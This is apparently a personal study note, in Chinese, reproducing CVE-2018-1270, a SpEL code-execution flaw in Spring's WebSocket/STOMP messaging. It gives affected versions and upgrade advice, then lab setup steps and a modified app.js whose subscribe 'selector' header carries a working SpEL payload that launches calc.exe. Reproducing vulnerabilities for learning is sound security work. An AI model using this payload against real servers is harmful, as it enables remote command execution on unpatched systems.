CVE-2018-1270 - Spring messaging Spel 代码执行漏洞复现学习。
CVE-2018-1270 - Spring messaging Spel 代码执行漏洞
影响版本
- Spring Framework 5.0 to 5.0.4
- Spring Framework 4.3 to 4.3.14
- Older unsupported versions are also affected
缓解措施
- 5.0.x users should upgrade to 5.0.5
- 4.3.x users should upgrade to 4.3.15
漏洞描述
CVE-2018-1270漏洞:Spring Framework的5.版本、4.3.版本以及不再支持的旧版本,通过spring-messaging和spring-websocket模块提供的基于WebSocket的STOMP,存在被攻击者建立WebSocket连接并发送恶意攻击代码的可能,从而实现远程代码执行攻击,建议尽快更新到新的版本。
环境搭建
首先把项目clone到其他文件夹下。
git clone git@github.com:spring-guides/gs-messaging-stomp-websocket.git
进入该项目的文件夹下面
回滚到存在漏洞版本
git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3
complete
目录启动
\complete>mvnw spring-boot:run
访问
漏洞复现
参考spring-messaging Remote Code Execution 分析-【CVE-2018-1270】
在服务器端修改用于理解和测试。
在\complete\src\main\resources\static\app.js
中添加一个指定的header
头部,其中指定了selector
,值为payload
。
function connect() {
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"}; // 添加触发计算器
var socket = new SockJS('/gs-guide-websocket');
stompClient = Stomp.over(socket);
stompClient.connect({}, function (frame) {
setConnected(true);
console.log('Connected: ' + frame);
stompClient.subscribe('/topic/greetings', function (greeting) {
showGreeting(JSON.parse(greeting.body).content);
},header); // header
});
}
先点击Connect
,然后在Your name here
那里随便输入,点击send
触发计算器。
在浏览器端修改app.js
的代码,注入payload
也可以。
漏洞分析
暂时对spring
不是很了解,其中的漏洞触发机制需要学习,待补充。
资料集锦
CVE-2018-1270 - Spring messaging Spel 代码执行漏洞
CVE-2018-1270: Remote Code Execution with spring-messaging
spring-messaging Remote Code Execution 分析-【CVE-2018-1270】
CVE-2018-1270 Remote Code Execution 漏洞分析